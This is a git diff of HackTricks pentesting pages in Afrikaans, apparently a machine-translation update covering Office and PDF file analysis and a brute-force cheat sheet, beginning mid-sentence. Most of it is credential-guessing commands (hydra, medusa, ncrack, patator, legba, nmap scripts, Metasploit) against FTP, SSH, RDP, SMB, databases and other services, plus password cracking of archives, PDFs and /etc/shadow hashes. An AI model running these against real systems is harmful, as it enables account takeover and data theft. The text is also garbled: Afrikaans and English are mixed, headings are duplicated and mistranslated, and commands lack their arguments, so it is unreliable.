insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul. +Microsoft het baie kantoor dokumentformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) is. Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul. Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontzip en die uitvoerstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat dui op voortdurende innovasie in data-versteek binne CTF-uitdagings. -Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskap help om ingebedde makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak. +Vir ontleding bied **oletools** en **OfficeDissector** omvattende gereedskapstelle vir die ondersoek van beide OLE- en OOXML-dokumente. Hierdie gereedskappe help om ingebedde makros te identifiseer en te ontleed, wat dikwels as vektore vir kwaadwillige sagteware-aflewering dien, wat tipies aanvullende skadelike vragte aflaai en uitvoer. Ontleding van VBA-makros kan uitgevoer word sonder Microsoft Office deur gebruik te maak van Libre Office, wat foutopsporing met breekpunte en kykveranderlikes moontlik maak. Die installasie en gebruik van **oletools** is maklik, met opdragte wat voorsien word vir installering via pip en die onttrekking van makros uit dokumente. Outomatiese uitvoering van makros word geaktiveer deur funksies soos `AutoOpen`, `AutoExec`, of `Document_Open`. ```bash @@ -38,21 +38,21 @@ olevba -c /path/to/document #Extract macros
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index cb7136485..16576443e 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} **Vir verdere besonderhede kyk na:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index ea72c38d6..15af42441 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -3,10 +3,10 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@@ -14,17 +14,17 @@ Kry Toegang Vandag: Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
## Standaard Gelde -**Soek in Google** vir die standaardgelde van die tegnologie wat gebruik word, of **probeer hierdie skakels**: +**Soek in Google** vir die standaard gelde van die tegnologie wat gebruik word, of **probeer hierdie skakels**: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -41,7 +41,7 @@ Ander maniere om HackTricks te ondersteun: ## **Skep jou eie Woordeboeke** -Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskappe wat kan help: +Vind soveel moontlik inligting oor die teiken en genereer 'n aangepaste woordeboek. Gereedskap wat kan help: ### Crunch ```bash @@ -54,7 +54,7 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Gaaf ```bash cewl example.com -m 5 -w words.txt ``` @@ -66,7 +66,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -'n Woordelysgeneratorwerktuig wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid bied om verskeie variasies van die gegewe woorde te skep, 'n unieke en ideale woordelys te skep om te gebruik met betrekking tot 'n spesifieke teiken. +'n Woordelysgeneratortool, wat jou toelaat om 'n stel woorde te voorsien, wat jou die moontlikheid gee om verskeie variasies van die gegewe woorde te skep, 'n unieke en ideale woordelys te skep om te gebruik met betrekking tot 'n spesifieke teiken. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -87,7 +87,7 @@ Finished in 0.920s. ``` ### [pydictor](https://github.com/LandGrey/pydictor) -### Woordelyste +### Woordlyste * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -103,14 +103,14 @@ Finished in 0.920s.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome** te bou en outomatiseer met die kragtigste gemeenskapsinstrumente ter wêreld.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Dienste -Gesorteer alfabeties volgens diensnaam. +Gesorteer in alfabetiese volgorde volgens diensnaam. ### AFP ```bash @@ -124,7 +124,7 @@ msf> run ``` ### AJP -AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is often used in combination with Apache Tomcat. AJP can be vulnerable to attacks such as brute force, where an attacker tries to guess usernames and passwords to gain unauthorized access. +AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is important to note that AJP is not encrypted, so sensitive information can be exposed if intercepted. ```bash nmap --script ajp-brute -p 8009 ``` @@ -134,17 +134,15 @@ legba amqp --target localhost:5672 --username admin --password data/passwords.tx ``` ### Cassandra -Cassandra is 'n hoogs skaleerbare NoSQL databasis wat ontwerp is om groot hoeveelhede data te hanteer deur middel van 'n gedistribueerde stelsel. +#### Brute Force + +Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be effective against weak passwords but is time-consuming and resource-intensive. It is important to use strong, complex passwords to protect against brute force attacks. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB - -#### Brute Force - -Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack weak passwords or gain unauthorized access to a system. In the case of CouchDB, brute force attacks can be attempted to guess the password of a user account and gain access to the database. It is important to use strong and unique passwords to protect against brute force attacks. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / @@ -158,6 +156,10 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP + +#### Brute Force + +Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to FTP servers. It is important to use strong and unique passwords to prevent successful brute force attacks. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] @@ -180,7 +182,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - Plaas Vorm +### HTTP - Pos Vorm ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -194,7 +196,7 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` ### IMAP -IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker gains access to a victim's email account, they can use brute force attacks to crack the victim's email password and gain unauthorized access to their emails. +IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to brute force IMAP credentials, they typically use a list of common usernames and passwords. This is done by using automated tools that systematically try all possible combinations until the correct one is found. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -203,7 +205,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC -IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir instandhouding van gesprekke via 'n netwerk. Dit word dikwels gebruik vir kommunikasie tussen hackers en vir die koördinering van aanvalle. +IRC (Internet Relay Chat) is 'n protokol wat gebruik word vir instandhouding van gesprekke via 'n netwerk. Dit kan gebruik word vir kommunikasie, maar dit word ook dikwels deur hackers gebruik vir kommunikasie en samevoeging van hulpbronne. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` @@ -254,7 +256,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords #### Brute Force -Brute force attacks against MSSQL servers can be performed using tools such as **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, so it is recommended to use them as a last resort. +Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. It is recommended to use strong, complex passwords and implement account lockout policies to prevent successful brute force attacks. ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` @@ -262,17 +264,7 @@ legba mssql --username SA --password wordlists/passwords.txt --target localhost: #### Brute Force -Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other techniques, such as password cracking, fail. It is a time-consuming process but can be effective if the passwords are weak or easily guessable. - -#### Brute Force Prevention - -To prevent brute force attacks, you can implement measures such as: - -- **Limiting login attempts**: By restricting the number of login attempts allowed within a certain time frame, you can make it harder for attackers to guess the correct credentials. -- **Using strong passwords**: Encouraging users to use complex passwords that are difficult to guess can help prevent brute force attacks. -- **Implementing multi-factor authentication (MFA)**: Adding an extra layer of security, such as MFA, can make it even more challenging for attackers to gain unauthorized access. - -By implementing these preventive measures, you can significantly reduce the risk of a successful brute force attack on your MySQL database. +Brute force attacks are a common way to gain unauthorized access to a MySQL database. In a brute force attack, the hacker tries all possible combinations of usernames and passwords until the correct one is found. This can be done using automated tools that systematically generate and test different combinations. To protect against brute force attacks, it is important to use strong and unique passwords, limit login attempts, and implement multi-factor authentication where possible. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -287,6 +279,10 @@ medusa -h -u -P <-f | to stop medusa on fir legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL + +#### Brute Force + +Brute force is a straightforward attack method that involves trying all possible combinations of a password until the correct one is found. This method can be effective but is also time-consuming. It is important to note that brute force attacks can be detected and blocked by security measures such as account lockouts after a certain number of failed attempts. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -314,19 +310,21 @@ Om **oracle\_login** met **patator** te gebruik, moet jy dit **installeer**: ```bash pip3 install cx_Oracle --upgrade ``` -[Aflyn OracleSQL-hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**): +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**weergawes 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** en **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP -### POP +#### Brute Force -POP (Post Office Protocol) is a standard email protocol used to retrieve emails from a remote server to a local email client. POP operates over port 110. +Brute force attacks are one of the most common and effective ways to obtain a password. This attack method involves an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. Brute force attacks can be time-consuming but are often successful. -### POP +#### Afrikaans Translation -POP (Post Office Protocol) is 'n standaard e-posprotokol wat gebruik word om e-posse vanaf 'n afgeleë bediener na 'n plaaslike e-posklient te haal. POP werk oor poort 110. +#### Brute Force + +Brute force-aanvalle is een van die mees algemene en doeltreffende maniere om 'n wagwoord te verkry. Hierdie aanvalsmetode behels 'n aanvaller wat baie wagwoorde of frases probeer met die hoop om uiteindelik reg te raai. Brute force-aanvalle kan tydrowend wees, maar is dikwels suksesvol. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -338,10 +336,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL - -#### Brute Force - -Brute force attacks involve trying all possible combinations of a password until the correct one is found. These attacks can be automated using tools like Hydra or Medusa. It is important to use strong and complex passwords to prevent successful brute force attacks. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -365,6 +359,8 @@ hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis + +Redis is 'n in-memory data store wat dikwels gebruik word vir caching en sessiebeheer in webtoepassings. Dit kan ook gebruik word vir die stoor van datastrukture soos lys, kaarte en stelle. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -373,7 +369,7 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t ``` ### Rexec -### Rexec +Rexec is 'n protokol wat gebruik word om 'n program op 'n afstand te hardloop. Dit kan gebruik word vir die uitvoering van programme op 'n afstand en kan 'n potensiële aanvalsoppervlak wees vir aanvallers wat brute force-tegnieke gebruik. ```bash hydra -l -P rexec:// -v -V ``` @@ -383,7 +379,9 @@ hydra -l -P rlogin:// -v -V ``` ### Rsh -Rsh is a simple remote shell client included with most Unix operating systems. It can be used to execute commands on a remote system. It is often used in brute force attacks to try to guess passwords for user accounts on a remote system. +#### Brute Force + +Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the key space is small enough to be searched quickly. It is a simple but powerful technique that can be effective against weak passwords. ```bash hydra -L rsh:// -v -V ``` @@ -412,15 +410,13 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -SMB is 'n protokol wat gebruik word vir die oordrag van lêers tussen rekenaars oor 'n netwerk. Dit kan 'n aanvalsoppervlak skep vir aanvallers om te gebruik vir brute force-aanvalle om wagwoorde te agterhaal. +### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP - -SMTP (Simple Mail Transfer Protocol) is 'n protokol wat gebruik word om e-posse oor 'n netwerk te stuur. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -428,15 +424,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar ``` ### SOCKS -#### Brute Force - -Brute force attacks are a common way to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method is often used when other, more sophisticated hacking techniques fail. It is a time-consuming process but can be effective if the target system has weak credentials. - -#### Afrikaans Translation - -#### Gewelddadige Aanval - -Gewelddadige aanvalle is 'n algemene manier om ongemagtigde toegang tot 'n stelsel te verkry deur alle moontlike kombinasies van gebruikersname en wagwoorde te probeer totdat die regte een gevind word. Hierdie metode word dikwels gebruik wanneer ander, meer gesofistikeerde hak tegnieke faal. Dit is 'n tydrowende proses, maar kan effektief wees as die teikensisteem swak geloofsbriewe het. +### SOKKIES ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt @@ -454,7 +442,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts ``` ### SSH -SSH, of Secure Shell, is 'n kriptografiese netwerkprotokol wat gebruik word vir die veilige kommunikasie oor 'n onseker netwerk. SSH word dikwels gebruik vir die veilige afstandbeheer van rekenaars deur middel van 'n veilige datakanaal. +SSH (Secure Shell) is 'n veilige protokol wat gebruik word om veilige kommunikasie oor 'n onveilige netwerk te voer. ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -470,7 +458,7 @@ Sommige stelsels het bekende foute in die lukrake saad wat gebruik word om kript ### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ) -Die STOMP-teksporotokol is 'n wyd gebruikte boodskapporotokol wat **naatlose kommunikasie en interaksie met gewilde boodskapstoetsdiensdienste** soos RabbitMQ, ActiveMQ, HornetQ en OpenMQ moontlik maak. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapbedrywighede uit te voer. +Die STOMP-teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskie-opeenhopingsdiens** soos RabbitMQ, ActiveMQ, HornetQ en OpenMQ moontlik maak. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapbedrywighede uit te voer. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -490,6 +478,8 @@ legba telnet \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC + +VNC is 'n baie algemene protokol wat gebruik word vir die beheer van rekenaars oor 'n netwerk. Dit kan gebruik word vir die uitvoering van aanvalle deur middel van 'n brute force-aanval om toegang te verkry tot VNC-sessies. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -511,10 +501,10 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Plaaslik @@ -552,8 +542,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt ``` #### Bekende platte teks zip-aanval -Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan **lêernaam en grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer.\ -Laai [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) af van die vrystellingsbladsy. +Jy moet die **platte teks** (of 'n deel van die platte teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan **lêernaam en grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer\ +Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrystellingsbladsy af. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -566,10 +556,6 @@ zip plaintext.zip plaintext.file unzip unlocked.zip #User new_pwd as password ``` ### 7z - -#### Brute Force Attack - -'n Brute Force-aanval is 'n aanval wat poog om 'n wagwoord te agterhaal deur verskeie moontlike kombinasies van karakters te probeer totdat die regte een gevind word. Hierdie tegniek kan gebruik word om 'n 7z-lêer se wagwoord te agterhaal deur verskeie kombinasies van karakters te probeer totdat die regte wagwoord gevind word. ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -582,9 +568,7 @@ apt-get install libcompress-raw-lzma-perl ``` ### PDF -Afrikaans Translation: - -### PDF +Brute-force attacks against PDF files are relatively common due to the popularity of the format and the sensitive information often contained within. Attackers may use tools like `pdfcrack` or `pdfcrack-ng` to attempt to crack the password protecting a PDF file. These tools work by systematically trying all possible passwords until the correct one is found. It is important to use strong, complex passwords to protect PDF files from brute-force attacks. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -672,7 +656,7 @@ Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.p ### Open Office Wagwoord Beskermde Kolom -As jy 'n xlsx-lêer het met 'n kolom wat beskerm word deur 'n wagwoord, kan jy dit ontsluit: +As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontgrendel: * **Laai dit op na Google Drive** en die wagwoord sal outomaties verwyder word * Om dit **handmatig te verwyder**: @@ -694,10 +678,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} ## Gereedskap @@ -717,7 +701,7 @@ hash-identifier ### **Woordlys-genereringstools** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met instelbare basis karakters, sleutelkaart en roetes. +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met instelbare basis karakters, toetsenbordkaart en roetes. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` @@ -798,27 +782,25 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` ### Brute Force -Brute force is a common password cracking technique where every possible combination of letters, numbers, and symbols are tried until the correct password is found. This method can be used to crack Linux password hashes stored in the `/etc/shadow` file. - -### Brute Force - -Brute force is 'n algemene wagwoordkraaktegniek waar elke moontlike kombinasie van letters, syfers, en simbole uitgeprobeer word totdat die regte wagwoord gevind word. Hierdie metode kan gebruik word om Linux wagwoordhasies wat in die `/etc/shadow` lêer gestoor word, te kraak. +Brute force is a common attack method used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute force can be employed to guess the passwords associated with the hashed values. This method requires significant computational power and time, especially for complex passwords. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt 